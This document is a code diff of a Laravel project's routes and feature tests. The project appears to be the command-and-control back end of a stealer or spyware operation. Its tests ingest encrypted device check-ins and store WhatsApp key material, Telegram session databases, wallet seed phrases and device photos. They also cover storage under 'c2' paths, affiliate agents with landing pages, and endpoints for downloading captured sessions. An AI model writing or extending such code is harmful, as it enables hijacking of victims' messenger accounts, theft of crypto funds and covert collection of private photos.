@@ -67,6 +68,13 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
|||||||
Route::get('notes', [NoteController::class, 'index'])->name('notes.index');
|
Route::get('notes', [NoteController::class, 'index'])->name('notes.index');
|
||||||
Route::get('notes/data', [NoteController::class, 'data'])->name('notes.data');
|
Route::get('notes/data', [NoteController::class, 'data'])->name('notes.data');
|
||||||
|
|
||||||
|
Route::get('whatsapp', [PluginSessionController::class, 'whatsapp'])->name('whatsapp.index');
|
||||||
|
Route::get('whatsapp/data', [PluginSessionController::class, 'whatsappData'])->name('whatsapp.data');
|
||||||
|
Route::get('telegram', [PluginSessionController::class, 'telegram'])->name('telegram.index');
|
||||||
|
Route::get('telegram/data', [PluginSessionController::class, 'telegramData'])->name('telegram.data');
|
||||||
|
Route::get('sessions/{pluginSession}/payload', [PluginSessionController::class, 'payload'])->name('sessions.payload');
|
||||||
|
Route::get('sessions/{pluginSession}/download', [PluginSessionController::class, 'download'])->name('sessions.download');
|
||||||
|
|
||||||
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
|
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
|
||||||
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
|
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
|
||||||
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
|
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
|
||||||
|
|||||||
@@ -100,8 +100,8 @@ class AdminAgentPortalTest extends TestCase
|
|||||||
'domains' => ['deployment' => [], 'reporting' => []],
|
'domains' => ['deployment' => [], 'reporting' => []],
|
||||||
'seeds_initialized' => false,
|
'seeds_initialized' => false,
|
||||||
'sync_rebuilt' => false,
|
'sync_rebuilt' => false,
|
||||||
'support_path' => '/web/x/support.html',
|
'support_path' => '/channel/x/weifile/weifile.html',
|
||||||
'daily_path' => '/sync/daily.html',
|
'daily_path' => '/channel/x/details/',
|
||||||
]);
|
]);
|
||||||
$this->app->instance(ChannelProjectService::class, $projects);
|
$this->app->instance(ChannelProjectService::class, $projects);
|
||||||
|
|
||||||
@@ -111,10 +111,10 @@ class AdminAgentPortalTest extends TestCase
|
|||||||
->assertJsonPath('code', 0)
|
->assertJsonPath('code', 0)
|
||||||
->json('data.channel_id');
|
->json('data.channel_id');
|
||||||
$this->assertIsString($random);
|
$this->assertIsString($random);
|
||||||
$this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $random);
|
$this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $random);
|
||||||
|
|
||||||
$channelId = Channel::randomChannelId();
|
$channelId = Channel::randomNewChannelId();
|
||||||
$this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $channelId);
|
$this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $channelId);
|
||||||
|
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
->post(route('admin.channels.store'), [
|
->post(route('admin.channels.store'), [
|
||||||
@@ -125,10 +125,12 @@ class AdminAgentPortalTest extends TestCase
|
|||||||
])
|
])
|
||||||
->assertOk()
|
->assertOk()
|
||||||
->assertJsonPath('code', 0)
|
->assertJsonPath('code', 0)
|
||||||
->assertJsonPath('data.links.0', 'https://fallback.test/web/'.$channelId.'/support.html');
|
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
|
||||||
|
->assertJsonPath('data.links.0', 'https://fallback.test/channel/'.$channelId.'/weifile/weifile.html');
|
||||||
|
|
||||||
$this->assertDatabaseHas('channels', [
|
$this->assertDatabaseHas('channels', [
|
||||||
'channel_id' => $channelId,
|
'channel_id' => $channelId,
|
||||||
|
'builder_type' => Channel::BUILDER_NEW,
|
||||||
'user_id' => 0,
|
'user_id' => 0,
|
||||||
'remark' => 'official',
|
'remark' => 'official',
|
||||||
]);
|
]);
|
||||||
@@ -345,6 +347,39 @@ class AdminAgentPortalTest extends TestCase
|
|||||||
->assertJsonPath('data.date_to', '2026-08-15');
|
->assertJsonPath('data.date_to', '2026-08-15');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function admin_can_create_and_update_agent_album_storage_default(): void
|
||||||
|
{
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->post(route('admin.agents.store'), [
|
||||||
|
'username' => 'albumagent',
|
||||||
|
'password' => 'secret12',
|
||||||
|
'status' => 1,
|
||||||
|
])
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0);
|
||||||
|
|
||||||
|
$agent = User::query()->where('username', 'albumagent')->first();
|
||||||
|
$this->assertNotNull($agent);
|
||||||
|
$this->assertFalse($agent->albumStorageDefaultEnabled());
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->put(route('admin.agents.update', $agent), [
|
||||||
|
'album_storage_default' => 1,
|
||||||
|
])
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0);
|
||||||
|
|
||||||
|
$this->assertTrue($agent->fresh()->albumStorageDefaultEnabled());
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.agents.data'))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonFragment(['username' => 'albumagent', 'album_storage_default' => 1]);
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function agent_cannot_create_channel(): void
|
public function agent_cannot_create_channel(): void
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -207,15 +207,21 @@ class ChannelProjectServiceTest extends TestCase
|
|||||||
#[Test]
|
#[Test]
|
||||||
public function failed_database_insert_compensates_with_delete(): void
|
public function failed_database_insert_compensates_with_delete(): void
|
||||||
{
|
{
|
||||||
|
$this->stageFakeWeifile();
|
||||||
Process::fake([
|
Process::fake([
|
||||||
'*' => Process::sequence()
|
'*' => Process::result(output: $this->fakeBuildResult([
|
||||||
->push(Process::result(output: $this->fakeBuildResult()))
|
'builder_type' => 'new',
|
||||||
->push(Process::result(output: ChannelProjectService::RESULT_MARKER.json_encode([
|
'channel_id' => self::NEW_CHANNEL_ID,
|
||||||
'status' => 'deleted',
|
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
|
||||||
'removed' => true,
|
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||||
])."\n")),
|
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
|
||||||
|
])),
|
||||||
]);
|
]);
|
||||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$channelDir = storage_path('app/channel-artifacts-test/channel/'.self::NEW_CHANNEL_ID);
|
||||||
|
if (! is_dir($channelDir) && ! mkdir($channelDir, 0775, true) && ! is_dir($channelDir)) {
|
||||||
|
$this->fail('unable to create channel dir for compensation test');
|
||||||
|
}
|
||||||
|
|
||||||
$originalDispatcher = Channel::getEventDispatcher();
|
$originalDispatcher = Channel::getEventDispatcher();
|
||||||
Channel::setEventDispatcher(new Dispatcher($this->app));
|
Channel::setEventDispatcher(new Dispatcher($this->app));
|
||||||
@@ -224,7 +230,7 @@ class ChannelProjectServiceTest extends TestCase
|
|||||||
try {
|
try {
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
->post(route('admin.channels.store'), [
|
->post(route('admin.channels.store'), [
|
||||||
'channel_id' => self::CHANNEL_ID,
|
'channel_id' => self::NEW_CHANNEL_ID,
|
||||||
'user_id' => 0,
|
'user_id' => 0,
|
||||||
])
|
])
|
||||||
->assertStatus(422)
|
->assertStatus(422)
|
||||||
@@ -233,11 +239,8 @@ class ChannelProjectServiceTest extends TestCase
|
|||||||
Channel::setEventDispatcher($originalDispatcher);
|
Channel::setEventDispatcher($originalDispatcher);
|
||||||
}
|
}
|
||||||
|
|
||||||
Process::assertRan(fn ($process) => str_contains(
|
$this->assertDirectoryDoesNotExist($channelDir);
|
||||||
is_array($process->command) ? implode(' ', $process->command) : (string) $process->command,
|
$this->assertDatabaseMissing('channels', ['channel_id' => self::NEW_CHANNEL_ID]);
|
||||||
'delete_channel_web.py'
|
|
||||||
));
|
|
||||||
$this->assertDatabaseMissing('channels', ['channel_id' => self::CHANNEL_ID]);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -247,19 +250,20 @@ class ChannelProjectServiceTest extends TestCase
|
|||||||
$projects = Mockery::mock(ChannelProjectService::class);
|
$projects = Mockery::mock(ChannelProjectService::class);
|
||||||
$projects->shouldReceive('generate')->once()->andReturnUsing(function (): array {
|
$projects->shouldReceive('generate')->once()->andReturnUsing(function (): array {
|
||||||
Channel::query()->create([
|
Channel::query()->create([
|
||||||
'channel_id' => self::CHANNEL_ID,
|
'channel_id' => self::NEW_CHANNEL_ID,
|
||||||
|
'builder_type' => Channel::BUILDER_NEW,
|
||||||
'user_id' => 0,
|
'user_id' => 0,
|
||||||
'status' => 1,
|
'status' => 1,
|
||||||
]);
|
]);
|
||||||
|
|
||||||
return [
|
return [
|
||||||
'channel_id' => self::CHANNEL_ID,
|
'channel_id' => self::NEW_CHANNEL_ID,
|
||||||
'seeds' => ['deployment_seed' => 'a', 'reporting_seed' => 'b'],
|
'seeds' => ['deployment_seed' => 'a', 'reporting_seed' => 'b'],
|
||||||
'domains' => ['deployment' => [], 'reporting' => []],
|
'domains' => ['deployment' => [], 'reporting' => []],
|
||||||
'seeds_initialized' => false,
|
'seeds_initialized' => false,
|
||||||
'sync_rebuilt' => false,
|
'sync_rebuilt' => false,
|
||||||
'support_path' => '/web/'.self::CHANNEL_ID.'/support.html',
|
'support_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
|
||||||
'daily_path' => '/sync/daily.html',
|
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||||
];
|
];
|
||||||
});
|
});
|
||||||
$projects->shouldNotReceive('deleteWebTree');
|
$projects->shouldNotReceive('deleteWebTree');
|
||||||
@@ -267,7 +271,7 @@ class ChannelProjectServiceTest extends TestCase
|
|||||||
|
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
->post(route('admin.channels.store'), [
|
->post(route('admin.channels.store'), [
|
||||||
'channel_id' => self::CHANNEL_ID,
|
'channel_id' => self::NEW_CHANNEL_ID,
|
||||||
'user_id' => 0,
|
'user_id' => 0,
|
||||||
])
|
])
|
||||||
->assertStatus(422)
|
->assertStatus(422)
|
||||||
@@ -328,27 +332,54 @@ class ChannelProjectServiceTest extends TestCase
|
|||||||
#[Test]
|
#[Test]
|
||||||
public function store_returns_seeds_and_domains(): void
|
public function store_returns_seeds_and_domains(): void
|
||||||
{
|
{
|
||||||
|
$this->stageFakeWeifile();
|
||||||
Process::fake([
|
Process::fake([
|
||||||
'*' => Process::result(output: $this->fakeBuildResult()),
|
'*' => Process::result(output: $this->fakeBuildResult([
|
||||||
|
'builder_type' => 'new',
|
||||||
|
'channel_id' => self::NEW_CHANNEL_ID,
|
||||||
|
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
|
||||||
|
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||||
|
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||||
|
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
|
||||||
|
])),
|
||||||
]);
|
]);
|
||||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
->post(route('admin.channels.store'), [
|
->post(route('admin.channels.store'), [
|
||||||
'channel_id' => self::CHANNEL_ID,
|
'channel_id' => self::NEW_CHANNEL_ID,
|
||||||
'user_id' => 0,
|
'user_id' => 0,
|
||||||
])
|
])
|
||||||
->assertOk()
|
->assertOk()
|
||||||
->assertJsonPath('code', 0)
|
->assertJsonPath('code', 0)
|
||||||
|
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
|
||||||
->assertJsonPath('data.seeds.deployment_seed', '11111111111111111111111111111111')
|
->assertJsonPath('data.seeds.deployment_seed', '11111111111111111111111111111111')
|
||||||
->assertJsonPath('data.domains.deployment.0', 'www.dep.example')
|
->assertJsonPath('data.domains.deployment.0', 'www.dep.example')
|
||||||
->assertJsonPath('data.seeds_initialized', true)
|
->assertJsonPath('data.daily_path', '/channel/'.self::NEW_CHANNEL_ID.'/details/');
|
||||||
->assertJsonPath('data.daily_path', '/sync/daily.html');
|
|
||||||
|
|
||||||
$this->assertDatabaseHas('channels', ['channel_id' => self::CHANNEL_ID]);
|
$this->assertDatabaseHas('channels', [
|
||||||
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
|
'channel_id' => self::NEW_CHANNEL_ID,
|
||||||
|
'builder_type' => Channel::BUILDER_NEW,
|
||||||
|
]);
|
||||||
|
$channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first();
|
||||||
$this->assertSame([], $channel->domains ?? []);
|
$this->assertSame([], $channel->domains ?? []);
|
||||||
$this->assertSame(Channel::BUILDER_OLD, $channel->builderType());
|
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function store_rejects_old_builder_channel_id(): void
|
||||||
|
{
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->post(route('admin.channels.store'), [
|
||||||
|
'channel_id' => self::CHANNEL_ID,
|
||||||
|
'builder_type' => Channel::BUILDER_OLD,
|
||||||
|
'user_id' => 0,
|
||||||
|
])
|
||||||
|
->assertSessionHasErrors('channel_id');
|
||||||
|
|
||||||
|
$this->assertDatabaseMissing('channels', ['channel_id' => self::CHANNEL_ID]);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -477,7 +508,6 @@ class ChannelProjectServiceTest extends TestCase
|
|||||||
$response = $this->actingAs($admin, 'admin')
|
$response = $this->actingAs($admin, 'admin')
|
||||||
->post(route('admin.channels.store'), [
|
->post(route('admin.channels.store'), [
|
||||||
'channel_id' => self::NEW_CHANNEL_ID,
|
'channel_id' => self::NEW_CHANNEL_ID,
|
||||||
'builder_type' => Channel::BUILDER_NEW,
|
|
||||||
'user_id' => 0,
|
'user_id' => 0,
|
||||||
])
|
])
|
||||||
->assertOk()
|
->assertOk()
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ use App\Models\Channel;
|
|||||||
use App\Models\Device;
|
use App\Models\Device;
|
||||||
use App\Models\Photo;
|
use App\Models\Photo;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
|
use App\Services\CorunaCrypto;
|
||||||
use App\Services\IngestService;
|
use App\Services\IngestService;
|
||||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
use Illuminate\Support\Facades\Http;
|
use Illuminate\Support\Facades\Http;
|
||||||
@@ -30,6 +31,147 @@ class DeviceAlbumStorageTest extends TestCase
|
|||||||
$this->assertFalse((bool) $device->fresh()->album_storage);
|
$this->assertFalse((bool) $device->fresh()->album_storage);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function ingest_uses_agent_album_storage_default_on(): void
|
||||||
|
{
|
||||||
|
$agent = User::query()->create([
|
||||||
|
'username' => 'album_on',
|
||||||
|
'password' => 'secret12',
|
||||||
|
'status' => 1,
|
||||||
|
'album_storage_default' => true,
|
||||||
|
]);
|
||||||
|
$this->assertTrue($agent->albumStorageDefaultEnabled());
|
||||||
|
$channelId = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||||
|
Channel::query()->create([
|
||||||
|
'channel_id' => $channelId,
|
||||||
|
'user_id' => $agent->id,
|
||||||
|
'status' => 1,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$crypto = new CorunaCrypto;
|
||||||
|
$ts = '1722585600201';
|
||||||
|
$enc = $crypto->encryptJson([
|
||||||
|
'd' => 'dev-agent-album-on',
|
||||||
|
'c' => $channelId,
|
||||||
|
], $ts);
|
||||||
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_TIMESTAMP' => $ts,
|
||||||
|
], $enc['body'])->assertOk();
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', 'dev-agent-album-on')->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$this->assertTrue($device->albumStorageEnabled());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function ingest_keeps_album_off_when_agent_default_off(): void
|
||||||
|
{
|
||||||
|
$agent = User::query()->create([
|
||||||
|
'username' => 'album_off',
|
||||||
|
'password' => 'secret12',
|
||||||
|
'status' => 1,
|
||||||
|
]);
|
||||||
|
$this->assertFalse($agent->albumStorageDefaultEnabled());
|
||||||
|
$channelId = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
||||||
|
Channel::query()->create([
|
||||||
|
'channel_id' => $channelId,
|
||||||
|
'user_id' => $agent->id,
|
||||||
|
'status' => 1,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$crypto = new CorunaCrypto;
|
||||||
|
$ts = '1722585600202';
|
||||||
|
$enc = $crypto->encryptJson([
|
||||||
|
'd' => 'dev-agent-album-off',
|
||||||
|
'c' => $channelId,
|
||||||
|
], $ts);
|
||||||
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_TIMESTAMP' => $ts,
|
||||||
|
], $enc['body'])->assertOk();
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', 'dev-agent-album-off')->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$this->assertFalse($device->albumStorageEnabled());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function later_channel_fill_applies_agent_album_default(): void
|
||||||
|
{
|
||||||
|
$agent = User::query()->create([
|
||||||
|
'username' => 'album_late',
|
||||||
|
'password' => 'secret12',
|
||||||
|
'status' => 1,
|
||||||
|
'album_storage_default' => true,
|
||||||
|
]);
|
||||||
|
$channelId = 'cccccccccccccccccccccccccccccccc';
|
||||||
|
Channel::query()->create([
|
||||||
|
'channel_id' => $channelId,
|
||||||
|
'user_id' => $agent->id,
|
||||||
|
'status' => 1,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$crypto = new CorunaCrypto;
|
||||||
|
$tsSet = '1722585600203';
|
||||||
|
$encSet = $crypto->encryptJson([
|
||||||
|
'd' => 'dev-agent-album-late',
|
||||||
|
'c' => $channelId,
|
||||||
|
'a' => 'a1',
|
||||||
|
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||||
|
], $tsSet);
|
||||||
|
$this->call('POST', '/api/user/set', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_TIMESTAMP' => $tsSet,
|
||||||
|
], $encSet['body'])->assertOk();
|
||||||
|
|
||||||
|
$device = Device::query()->where('device_id', 'dev-agent-album-late')->first();
|
||||||
|
$this->assertNotNull($device);
|
||||||
|
$this->assertNull($device->channel_id);
|
||||||
|
$this->assertFalse($device->albumStorageEnabled());
|
||||||
|
|
||||||
|
$tsPut = '1722585600204';
|
||||||
|
$encPut = $crypto->encryptJson([
|
||||||
|
'd' => 'dev-agent-album-late',
|
||||||
|
'c' => $channelId,
|
||||||
|
'et' => 'heartbeat',
|
||||||
|
], $tsPut);
|
||||||
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_TIMESTAMP' => $tsPut,
|
||||||
|
], $encPut['body'])->assertOk();
|
||||||
|
|
||||||
|
$device->refresh();
|
||||||
|
$this->assertSame($channelId, $device->channel_id);
|
||||||
|
$this->assertTrue($device->albumStorageEnabled());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function official_and_unknown_channel_keep_album_off(): void
|
||||||
|
{
|
||||||
|
Channel::query()->create([
|
||||||
|
'channel_id' => 'dddddddddddddddddddddddddddddddd',
|
||||||
|
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||||
|
'status' => 1,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$crypto = new CorunaCrypto;
|
||||||
|
foreach ([
|
||||||
|
['d' => 'dev-official-album', 'c' => 'dddddddddddddddddddddddddddddddd'],
|
||||||
|
['d' => 'dev-unknown-album', 'c' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'],
|
||||||
|
] as $i => $payload) {
|
||||||
|
$ts = (string) (1722585600210 + $i);
|
||||||
|
$enc = $crypto->encryptJson($payload, $ts);
|
||||||
|
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||||
|
'CONTENT_TYPE' => 'text/plain',
|
||||||
|
'HTTP_TIMESTAMP' => $ts,
|
||||||
|
], $enc['body'])->assertOk();
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->assertFalse(Device::query()->where('device_id', 'dev-official-album')->first()?->albumStorageEnabled());
|
||||||
|
$this->assertFalse(Device::query()->where('device_id', 'dev-unknown-album')->first()?->albumStorageEnabled());
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function ingest_skips_photos_when_album_storage_off(): void
|
public function ingest_skips_photos_when_album_storage_off(): void
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -131,6 +131,8 @@ class DeviceDeleteTest extends TestCase
|
|||||||
);
|
);
|
||||||
Storage::disk('local')->put('c2/ds-results/dev-del-1/cmd/a.json', '{}');
|
Storage::disk('local')->put('c2/ds-results/dev-del-1/cmd/a.json', '{}');
|
||||||
Storage::disk('local')->put('c2/ds-chunks/dev-del-1/cmd/f/0', 'x');
|
Storage::disk('local')->put('c2/ds-chunks/dev-del-1/cmd/f/0', 'x');
|
||||||
|
$waPath = PluginSession::whatsappFilePath('dev-del-1', '15550001111');
|
||||||
|
Storage::disk('local')->put($waPath, '{"userId":"15550001111"}');
|
||||||
|
|
||||||
try {
|
try {
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
@@ -157,6 +159,7 @@ class DeviceDeleteTest extends TestCase
|
|||||||
Storage::disk('local')->assertMissing($checkPath);
|
Storage::disk('local')->assertMissing($checkPath);
|
||||||
Storage::disk('local')->assertMissing('c2/ds-results/dev-del-1/cmd/a.json');
|
Storage::disk('local')->assertMissing('c2/ds-results/dev-del-1/cmd/a.json');
|
||||||
Storage::disk('local')->assertMissing('c2/ds-chunks/dev-del-1/cmd/f/0');
|
Storage::disk('local')->assertMissing('c2/ds-chunks/dev-del-1/cmd/f/0');
|
||||||
|
Storage::disk('local')->assertMissing($waPath);
|
||||||
$this->assertFileExists($dsLog);
|
$this->assertFileExists($dsLog);
|
||||||
$left = (string) file_get_contents($dsLog);
|
$left = (string) file_get_contents($dsLog);
|
||||||
$this->assertStringNotContainsString('dev-del-1', $left);
|
$this->assertStringNotContainsString('dev-del-1', $left);
|
||||||
|
|||||||
@@ -0,0 +1,113 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Models\Admin;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Services\IngestService;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class DeviceImFlagTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function new_device_has_no_im_flags(): void
|
||||||
|
{
|
||||||
|
$device = Device::query()->create(['device_id' => 'dev-im-none']);
|
||||||
|
|
||||||
|
$this->assertFalse($device->hasWhatsApp());
|
||||||
|
$this->assertFalse($device->hasTelegram());
|
||||||
|
$this->assertSame([], $device->imNameList());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function telegram_ingest_sets_tg_flag(): void
|
||||||
|
{
|
||||||
|
Storage::fake('local');
|
||||||
|
$device = Device::query()->create(['device_id' => 'dev-im-tg']);
|
||||||
|
app(IngestService::class)->ingestTelegramAuth($device, [
|
||||||
|
'user_id' => '111',
|
||||||
|
'state' => ['records' => []],
|
||||||
|
'db_sqlite' => 'QQ==',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$device->refresh();
|
||||||
|
$this->assertTrue($device->hasTelegram());
|
||||||
|
$this->assertFalse($device->hasWhatsApp());
|
||||||
|
$this->assertSame(['Telegram'], $device->imNameList());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function whatsapp_ingest_sets_ws_flag(): void
|
||||||
|
{
|
||||||
|
Storage::fake('local');
|
||||||
|
$device = Device::query()->create(['device_id' => 'dev-im-ws']);
|
||||||
|
app(IngestService::class)->ingestWhatsAppAuth($device, [
|
||||||
|
'userId' => '15550001111',
|
||||||
|
'clientStaticKeypairBase64' => 'QUJD',
|
||||||
|
'phoneKeyStore' => ['preKeys' => []],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$device->refresh();
|
||||||
|
$this->assertTrue($device->hasWhatsApp());
|
||||||
|
$this->assertFalse($device->hasTelegram());
|
||||||
|
$this->assertSame(['WhatsApp'], $device->imNameList());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function both_sessions_set_both_flags(): void
|
||||||
|
{
|
||||||
|
Storage::fake('local');
|
||||||
|
$device = Device::query()->create(['device_id' => 'dev-im-both']);
|
||||||
|
$ingest = app(IngestService::class);
|
||||||
|
$ingest->ingestTelegramAuth($device, [
|
||||||
|
'user_id' => '222',
|
||||||
|
'state' => ['ok' => 1],
|
||||||
|
]);
|
||||||
|
$ingest->ingestWhatsAppAuth($device, [
|
||||||
|
'userId' => '15550002222',
|
||||||
|
'whatsappVersion' => '2.24.0',
|
||||||
|
'clientStaticKeypairBase64' => 'QUJD',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$device->refresh();
|
||||||
|
$this->assertTrue($device->hasWhatsApp());
|
||||||
|
$this->assertTrue($device->hasTelegram());
|
||||||
|
$this->assertSame(['WhatsApp', 'Telegram'], $device->imNameList());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function admin_can_filter_devices_by_im_flag(): void
|
||||||
|
{
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
Device::query()->create(['device_id' => 'dev-plain']);
|
||||||
|
Device::query()->create(['device_id' => 'dev-ws', 'has_whatsapp' => true]);
|
||||||
|
Device::query()->create(['device_id' => 'dev-tg', 'has_telegram' => true]);
|
||||||
|
Device::query()->create(['device_id' => 'dev-both', 'has_whatsapp' => true, 'has_telegram' => true]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.devices.data', ['has_im' => 'whatsapp']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 2);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.devices.data', ['has_im' => 'telegram']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 2);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.devices.data', ['has_im' => 'yes']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 3);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.devices.data', ['has_im' => 'none']))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('count', 1)
|
||||||
|
->assertJsonPath('data.0.device_id', 'dev-plain');
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,140 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace Tests\Feature;
|
||||||
|
|
||||||
|
use App\Models\Admin;
|
||||||
|
use App\Models\Channel;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\PluginSession;
|
||||||
|
use App\Models\User;
|
||||||
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||||
|
use PHPUnit\Framework\Attributes\Test;
|
||||||
|
use Tests\TestCase;
|
||||||
|
|
||||||
|
class PluginSessionPageTest extends TestCase
|
||||||
|
{
|
||||||
|
use RefreshDatabase;
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function admin_can_list_whatsapp_and_telegram_sessions(): void
|
||||||
|
{
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => 'dev-sess',
|
||||||
|
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||||
|
'has_whatsapp' => true,
|
||||||
|
'has_telegram' => true,
|
||||||
|
